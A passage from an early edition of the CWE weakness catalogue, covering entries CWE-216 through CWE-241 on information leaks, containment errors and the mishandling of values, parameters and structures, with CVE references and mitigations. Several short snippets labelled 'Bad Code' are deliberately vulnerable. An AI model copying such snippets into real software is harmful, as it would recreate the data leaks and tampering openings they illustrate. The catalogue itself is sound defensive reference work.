The following code reads a "debugEnabled" system property and writes sensitive debug information to the client browser if true.

Java Example: *Bad Code*

```
<% if (Boolean.getBoolean("debugEnabled")) {
  %>
  User account number: <%= acctNo %>
  <%
  } %>
```

Observed Examples

Reference	Description
CVE-2002-0918	CGI script includes sensitive information in debug messages when an error is triggered.
CVE-2003-1078	FTP client with debug option enabled shows password to the screen.
CVE-2004-2268	Debug information infoleak of password.

Potential Mitigations

Do not leave debug statements that could be executed in the source code. Assure that all debug information is eradicated before releasing the software.

Architecture and Design

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	200	Information Leak (Information Disclosure)	**699** **1000**	230
ChildOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	**629**	714
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ParentOf	WV	*11*	*ASP.NET Misconfiguration: Creating Debug Binary*	***1000***	*7*

Relationship Notes

This overlaps other categories.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Infoleak Using Debug Information
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

CWE-216: Containment Errors (Container Errors)

Weakness ID: 216 *(Weakness Class)* **Status:** Incomplete

Description

Summary

This tries to cover various problems in which improper data are included within a "container."

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Compartmentalize your system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		199	Information Management Errors	**699**	230
ChildOf		485	Insufficient Encapsulation	**1000**	508
RequiredBy		*61*	*UNIX Symbolic Link (Symlink) Following*	*1000*	*56*
RequiredBy		*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	*1000*	*116*
ParentOf		*219*	*Sensitive Data Under Web Root*	***699*** *1000*	*249*
ParentOf		*220*	*Sensitive Data Under FTP Root*	***699***	*249*
RequiredBy		*426*	*Untrusted Search Path*	*1000*	*453*
PeerOf		*434*	*Unrestricted File Upload*	*1000*	*461*
ParentOf		*493*	*Critical Public Variable Without Final Modifier*	*1000*	*516*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Containment errors (container errors)

Maintenance Notes

This entry is closely associated with others related to encapsulation and permissions, and might ultimately prove to be a duplicate.

CWE-217: Failure to Protect Stored Data from Modification

Weakness ID: 217 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Data should be protected from direct modification.

Alternate Terms

Containment error

container error

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

The object could be tampered with.

Likelihood of Exploit

Medium

Demonstrative Examples

C++ Example: *Bad Code*

```
public: int someNumberPeopleShouldntMessWith;
```

Java Example: *Bad Code*

```
private class parserProg {
  public stringField;
}
```

C/C++ Example: *Bad Code*

```
private: int someNumber;
public: void writeNum(int newNum) {
  someNumber = newNum;
}
```

Java Example: *Bad Code*

```
public class eggCorns {
  private String acorns;
  public void misHear(String name) {
    acorns=name;
  }
}
```

Potential Mitigations

Design through Implementation: Use private members, and class accessor methods to their full benefit. This is the recommended mitigation. Make all public members private, and -- if external access is necessary-- use accessor functions to do input validation on all values.

Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and preventing tampering.

Implementation

Use sealed classes. Using sealed classes protects object oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Implementation

Use class accessor methods to their full benefit. Use the accessor functions to do input validation on all values intended for private values.

Other Notes

One of the main advantages of object-oriented code is the ability to limit access to fields and other resources by way of accessor functions. Utilize accessor functions to make sure your objects are well-formed. Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*604*	*Deprecated Entries*	***604***	*593*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to protect stored data from modification
PLOVER	ACC - Sensitive Entity in Accessible Container

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
69	Target Programs with Elevated Privileges	

CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data

Weakness ID: 218 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This weakness has been deprecated because it was a duplicate of CWE-493. All content has been transferred to CWE-493.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*604*	*Deprecated Entries*	***604***	*593*

CWE-219: Sensitive Data Under Web Root

Weakness ID: 219 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.

Time of Introduction

- Operation
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0943	Database file under web root.
CVE-2002-1449	Username/password in data file under web root.
CVE-2005-1645	database file under web root.
CVE-2005-1835	Data file under web root.
CVE-2005-2217	Data file under web root.

Potential Mitigations

Avoid storing information under the web root directory.

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the web directory.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	216	Containment Errors (Container Errors)	**699** 1000	246
ChildOf	W	668	Exposure of Resource to Wrong Sphere	**1000**	658
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ParentOf	W	*433*	*Unparsed Raw Web Content Delivery*	***1000***	*460*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive Data Under Web Root
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

CWE-220: Sensitive Data Under FTP Root

Weakness ID: 220 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application stores sensitive data under the FTP document root with insufficient access control, which might make it accessible to untrusted parties.

Time of Introduction

- Operation
- Architecture and Design

Applicable Platforms

Languages

- All

Potential Mitigations

Avoid storing information under the FTP root directory.

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the FTP directory.

Background Details

Various Unix FTP servers require a password file that is under the FTP root, due to use of chroot.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	216	Containment Errors (Container Errors)	**699**	246
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Sensitive Data Under FTP Root

CWE-221: Information Loss or Omission

Weakness ID: 221 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.

Extended Description

This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	199	Information Management Errors	**699**	230
ChildOf	Wc	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ParentOf	We	*222*	*Truncation of Security-relevant Information*	***699 1000***	*250*
ParentOf	We	*223*	*Omission of Security-relevant Information*	***699 1000***	*251*
ParentOf	We	*224*	*Obscured Security-relevant Information by Alternate Name*	***699 1000***	*252*
ParentOf	We	*356*	*Product UI does not Warn User of Unsafe Actions*	***1000***	*378*
ParentOf	We	*396*	*Declaration of Catch for Generic Exception*	*1000*	*421*
ParentOf	We	*397*	*Declaration of Throws for Generic Exception*	*1000*	*422*
ParentOf	We	*451*	*UI Misrepresentation of Critical Information*	***1000***	*473*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Information loss or omission

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
81	Web Logs Tampering	

CWE-222: Truncation of Security-relevant Information

Weakness ID: 222 *(Weakness Base)* **Status:** Draft

Description

Summary

The application truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2003-0412	Does not log complete URI of a long request (truncation).
CVE-2004-2032	Bypass URL filter via a long URL with a large number of trailing hex-encoded space characters.
CVE-2005-0585	Web browser truncates long sub-domains or paths, facilitating phishing.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	221	Information Loss or Omission	**699** **1000**	250

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Truncation of Security-relevant Information

CWE-223: Omission of Security-relevant Information

Weakness ID: 223 *(Weakness Base)* **Status:** Draft

Description

Summary

The application does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-1029	Login attempts not recorded if user disconnects before maximum number of tries.
CVE-2000-0542	Failed authentication attempt not recorded if later attempt succeeds.
CVE-2002-1839	Sender's IP address not recorded in outgoing e-mail.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	221	Information Loss or Omission	**699** **1000**	250

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Omission of Security-relevant Information

CWE-224: Obscured Security-relevant Information by Alternate Name

Weakness ID: 224 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0725	Attacker performs malicious actions on a hard link to a file, obscuring the real target file.

Potential Mitigations

Avoid making decisions based on names of resources if those resources can have alternate names.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	221	Information Loss or Omission	**699** **1000**	250

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Obscured Security-relevant Information by Alternate Name

References

M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.

CWE-225: DEPRECATED (Duplicate): General Information Management Problems

Weakness ID: 225 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This weakness can be found at CWE-199.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*604*	*Deprecated Entries*	***604***	*593*

CWE-226: Sensitive Information Uncleared Before Release

Weakness ID: 226 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not fully clear previously used information in a data structure, file, or other resource, before making that resource available to a party in another control sphere.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-2077	Memory not properly cleared before reuse.
CVE-2003-0001	Ethernet NIC drivers do not pad frames with null bytes, leading to infoleak from malformed packets.
CVE-2003-0291	router does not clear information from DHCP packets that have been previously used
CVE-2005-1406	Products do not fully clear memory buffers when less data is stored into the buffer than previous.
CVE-2005-1858	Products do not fully clear memory buffers when less data is stored into the buffer than previous.
CVE-2005-3180	Products do not fully clear memory buffers when less data is stored into the buffer than previous.
CVE-2005-3276	Product does not clear a data structure before writing to part of it, yielding information leak of previously used memory.

Other Notes

This typically involves memory in which the new data are not as long as the old data, which leaves portions of the old data still available ("memory disclosure"). However, equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	200	Information Leak (Information Disclosure)	**699** 1000	230
CanAlsoBe	We	212	Cross-boundary Cleansing Information Leak	1000	243
CanAlsoBe	C	310	Cryptographic Issues	1000	335
ChildOf	We	459	Incomplete Cleanup	**1000**	481
ChildOf	C	633	Weaknesses that Affect Memory	**631**	615
ChildOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727
ParentOf	Wv	*244*	*Failure to Clear Heap Memory Before Release ('Heap Inspection')*	***1000***	*266*

Relationship Notes

Can overlap cryptographic errors, cross-boundary cleansing infoleaks.

Research Gaps

Currently frequently found for network packets, but it can also exist in local memory allocation, files, etc.

Affected Resources

- Memory

Functional Areas

- Non-specific
- memory management
- networking

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Sensitive Information Uncleared Before Use
CERT C Secure Coding	MEM03-C	Clear sensitive information stored in reusable resources returned for reuse

CWE-227: Failure to Fulfill API Contract (aka 'API Abuse')

Weakness ID: 227 *(Weakness Class)* **Status:** Draft

Description

Summary

The software uses an API in a manner contrary to its intended use.

Extended Description

An API is a contract between a caller and a callee. The most common forms of API misuse are caused by the caller failing to honor its end of this contract. For example, if a program fails to call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated.

Alternate Terms

API Abuse

Time of Introduction

- Architecture and Design
- Implementation

Observed Examples

Reference	Description
CVE-2006-4339	crypto implementation removes padding when they shouldn't, allowing forged signatures
CVE-2006-7140	crypto implementation removes padding when they shouldn't, allowing forged signatures

Potential Mitigations

Always utilize APIs in the specified manner.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		18	Source Code	**699**	13
ChildOf	Wc	710	Coding Standards Violation	**1000**	711
RequiredBy		*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	*1000*	*148*
ParentOf	We	*242*	*Use of Inherently Dangerous Function*	***699*** ***700***	*263*
ParentOf	Ww	*243*	*Failure to Change Working Directory in chroot Jail*	***699*** ***700***	*264*
ParentOf	Ww	*244*	*Failure to Clear Heap Memory Before Release ('Heap Inspection')*	***699*** ***700***	*266*
ParentOf	Ww	*245*	*J2EE Bad Practices: Direct Management of Connections*	***699*** ***700***	*267*
ParentOf	Ww	*246*	*J2EE Bad Practices: Direct Use of Sockets*	***699*** ***700***	*267*
ParentOf	Ww	*247*	*Reliance on DNS Lookups in a Security Decision*	***699***	*268*
ParentOf	We	*248*	*Uncaught Exception*	***699*** ***700***	*269*
ParentOf	Wc	*250*	*Execution with Unnecessary Privileges*	***699*** ***700***	*271*
ParentOf		*251*	*Often Misused: String Management*	***699*** ***700***	*274*
ParentOf	We	*252*	*Unchecked Return Value*	***699*** ***700***	*274*
ParentOf	We	*253*	*Incorrect Check of Function Return Value*	***699***	*278*
ParentOf	Ww	*382*	*J2EE Bad Practices: Use of System.exit()*	*699*	*407*
ParentOf	Ww	*558*	*Use of getlogin() in Multithreaded Application*	***700***	*559*
ParentOf		*559*	*Often Misused: Arguments and Parameters*	***699***	*559*

Nature	Type	ID	Name	V	Page
ParentOf	W	*573*	*Failure to Follow Specification*	***699 1000***	*570*
ParentOf	W	*586*	*Explicit Call to Finalize()*	***1000***	*578*
ParentOf	W	*589*	*Call to Non-ubiquitous API*	***699***	*580*
ParentOf	W	*605*	*Multiple Binds to the Same Port*	***699***	*593*
ParentOf	W	*648*	*Incorrect Use of Privileged APIs*	*1000*	*634*
ParentOf	W	*650*	*Trusting HTTP Permission Methods on the Server Side*	*1000*	*636*
PeerOf	W	*675*	*Duplicate Operations on Resource*	*1000*	*663*
ParentOf	W	*684*	*Failure to Provide Specified Functionality*	***699 1000***	*677*
MemberOf	V	*700*	*Seven Pernicious Kingdoms*	***700***	*689*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	API Abuse

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
96	Block Access to Libraries	

CWE-228: Improper Handling of Syntactically Invalid Structure

Weakness ID: 228 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.

Time of Introduction

- Implementation
- Architecture and Design

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	19	Data Handling	**699**	14
ChildOf	B	137	Representation Errors	699	169
ChildOf	W	703	Failure to Handle Exceptional Conditions	1000	706
ChildOf	W	707	Improper Enforcement of Message or Data Structure	**1000**	709
ChildOf	B	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**	719
ParentOf	W	*229*	*Improper Handling of Values*	***699 1000***	*256*
ParentOf	W	*233*	*Parameter Problems*	***699 1000***	*258*
ParentOf	W	*237*	*Improper Handling of Structural Elements*	***699 1000***	*261*
ParentOf	W	*241*	*Improper Handling of Unexpected Data Type*	***699 1000***	*263*

Relevant Properties

- Validity

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Structure and Validity Problems
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

Maintenance Notes

This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by

those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.

The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.

CWE-229: Improper Handling of Values

Weakness ID: 229 *(Weakness Class)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to missing or incorrect handling of values that are associated with parameters, fields, or arguments.

Time of Introduction

- Architecture and Design
- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	228	Improper Handling of Syntactically Invalid Structure	**699 1000**	255
ParentOf	Wa	*230*	*Improper Handling of Missing Values*	***699 1000***	*256*
ParentOf	Wa	*231*	*Improper Handling of Extra Values*	***699 1000***	*257*
ParentOf	Wa	*232*	*Improper Handling of Undefined Values*	***699 1000***	*257*

CWE-230: Improper Handling of Missing Values

Weakness ID: 230 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-1006	Blank "charset" attribute in MIME header triggers crash.
CVE-2002-0422	Blank Host header triggers resultant infoleak.
CVE-2004-1504	Blank parameter causes external error infoleak.
CVE-2005-2053	Blank parameter causes external error infoleak.

Other Notes

Some "crash by port scan" bugs are probably due to this, but lack of diagnosis makes it difficult to be certain.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	229	Improper Handling of Values	**699 1000**	256

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Value Error

CWE-231: Improper Handling of Extra Values

Weakness ID: 231 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle or incorrectly handles when more values are specified than expected.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Modes of Introduction

This typically occurs in situations when only one value is expected.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	148
ChildOf	WC	229	Improper Handling of Values	**699 1000**	256

Relationship Notes

This can overlap buffer overflows.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Extra Value Error

CWE-232: Improper Handling of Undefined Values

Weakness ID: 232 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the excerpt below, if the value of the address parameter is null (undefined), the servlet will throw a NullPointerException.

Java Example: *Bad Code*

```
String address = request.getParameter("address").trim();
```

Observed Examples

Reference	Description
CVE-2000-1003	Client crash when server returns unknown driver type.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	229	Improper Handling of Values	**699 1000**	256

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Undefined Value Error

CWE-233: Parameter Problems

Weakness ID: 233 *(Weakness Class)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to improper handling of parameters, fields, or arguments.

Time of Introduction

- Architecture and Design
- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	228	Improper Handling of Syntactically Invalid Structure	**699 1000**	255
ParentOf	Weakness	*234*	*Failure to Handle Missing Parameter*	***699 1000***	*258*
ParentOf	Weakness	*235*	*Improper Handling of Extra Parameters*	***699 1000***	*260*
ParentOf	Weakness	*236*	*Improper Handling of Undefined Parameters*	***699 1000***	*260*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Parameter Problems

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
39	Manipulating Opaque Client-based Data Tokens	

CWE-234: Failure to Handle Missing Parameter

Weakness ID: 234 *(Weakness Base)* **Status:** Incomplete

Description

Summary

If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Authorization

There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.

Availability

Potentially a program could fail if it needs more arguments then are available.

Likelihood of Exploit

High

Demonstrative Examples

C/C++ Example:

```
foo_funct(one, two);...
void foo_funct(int one, int two, int three) {
  printf("1) %d\n2) %d\n3) %d\n", one, two, three);
}
```

C/C++ Example:

```
void some_function(int foo, ...) {
  int a[3], i;
  va_list ap;
  va_start(ap, foo);
  for (i = 0; i < sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);
  va_end(ap);
}
int main(int argc, char *argv[]) {
  some_function(17, 42);
}
```

This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.

Observed Examples

Reference	Description
CVE-2000-0521	Web server allows disclosure of CGI source code via an HTTP request without the version number.
CVE-2001-0590	
CVE-2002-0107	Resultant infoleak in web server via GET requests without HTTP/1.0 version string.
CVE-2002-0596	GET request with empty parameter leads to error message infoleak (path disclosure).
CVE-2002-1023	
CVE-2002-1077	Crash in HTTP request without a Content-Length field.
CVE-2002-1169	
CVE-2002-1236	CGI crashes when called without any arguments.
CVE-2002-1358	Empty elements/strings in protocol test suite affect many SSH2 servers/clients.
CVE-2002-1488	
CVE-2002-1531	Crash in HTTP request without a Content-Length field.
CVE-2003-0239	
CVE-2003-0422	CGI crashes when called without any arguments.
CVE-2003-0477	FTP server crashes in PORT command without an argument.
CVE-2004-0276	

Potential Mitigations

Build and Compilation

This issue can be simply combated with the use of proper build process.

Implementation

Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	233	Parameter Problems	**699** **1000**	258

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Parameter Error
CLASP	Missing parameter

Maintenance Notes

This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.

CWE-235: Improper Handling of Extra Parameters

Weakness ID: 235 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle or incorrectly handles when a particular parameter, field, or argument name is specified two or more times.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Modes of Introduction

This typically occurs in situations when only one element is expected to be specified.

Observed Examples

Reference	Description
CVE-2003-1014	MIE. multiple gateway/security products allow restriction bypass using multiple MIME fields with the same name, which are interpreted differently by clients.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	233	Parameter Problems	**699** **1000**	258

Relationship Notes

This type of problem has a big role in multiple interpretation vulnerabilities and various HTTP attacks.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Extra Parameter Error

CWE-236: Improper Handling of Undefined Parameters

Weakness ID: 236 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0650	Router crash or bad route modification using BGP updates with invalid transitive attribute.
CVE-2002-1488	Crash in IRC client via PART message from a channel the user is not in.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	233	Parameter Problems	**699 1000**	258

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Undefined Parameter Error

CWE-237: Improper Handling of Structural Elements

Weakness ID: 237 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not handle or incorrectly handles inputs that are related to complex structures..

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	228	Improper Handling of Syntactically Invalid Structure	**699 1000**	255
ParentOf	We	*238*	*Improper Handling of Incomplete Structural Elements*	***699 1000***	*261*
ParentOf	We	*239*	*Failure to Handle Incomplete Element*	***699 1000***	*262*
ParentOf	We	*240*	*Improper Handling of Inconsistent Structural Elements*	***699 1000***	*262*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Element Problems

CWE-238: Improper Handling of Incomplete Structural Elements

Weakness ID: 238 *(Weakness Base)* **Status:** Draft

Description

Summary

The application does not handle or incorrectly handles when a particular structural element is not completely specified.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	237	Improper Handling of Structural Elements	**699 1000**	261

Relationship Notes

Can be primary to other problems.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Element Error

CWE-239: Failure to Handle Incomplete Element

Weakness ID: 239 *(Weakness Base)* **Status:** Draft

Description

Summary

The application does not properly handle when a particular element is not completely specified.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-1532	HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it.
CVE-2002-1906	CPU consumption by sending incomplete HTTP requests and leaving the connections open.
CVE-2003-0195	Partial request is not timed out.
CVE-2005-2526	MFV. CPU exhaustion in printer via partial printing request then early termination of connection.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	237	Improper Handling of Structural Elements	**699 1000**	261
PeerOf	We	404	Improper Resource Shutdown or Release	1000	431

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Incomplete Element

CWE-240: Improper Handling of Inconsistent Structural Elements

Weakness ID: 240 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	237	Improper Handling of Structural Elements	**699 1000**	261
ChildOf	We	707	Improper Enforcement of Message or Data Structure	1000	709
ParentOf	We	*130*	*Improper Handling of Length Parameter Inconsistency*	***1000***	*161*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Inconsistent Elements

CWE-241: Improper Handling of Unexpected Data Type

Weakness ID: 241 *(Weakness Base)* **Status:** Draft

Description

Summary

The application does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-1156	FTP server crash via PORT command with non-numeric character.
CVE-2004-0270	Anti-virus product has assert error when line length is non-numeric.

Potential Mitigations

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	228	Improper Handling of Syntactically Invalid Structure	**699 1000**	255
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Research Gaps

Probably under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Wrong Data Type
CERT C Secure Coding	FIO37-C	Do not assume character data has been read

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
48	Passing Local Filenames to Functions That Expect a URL	

CWE-242: Use of Inherently Dangerous Function

Weakness ID: 242 *(Weakness Base)* **Status:** Draft

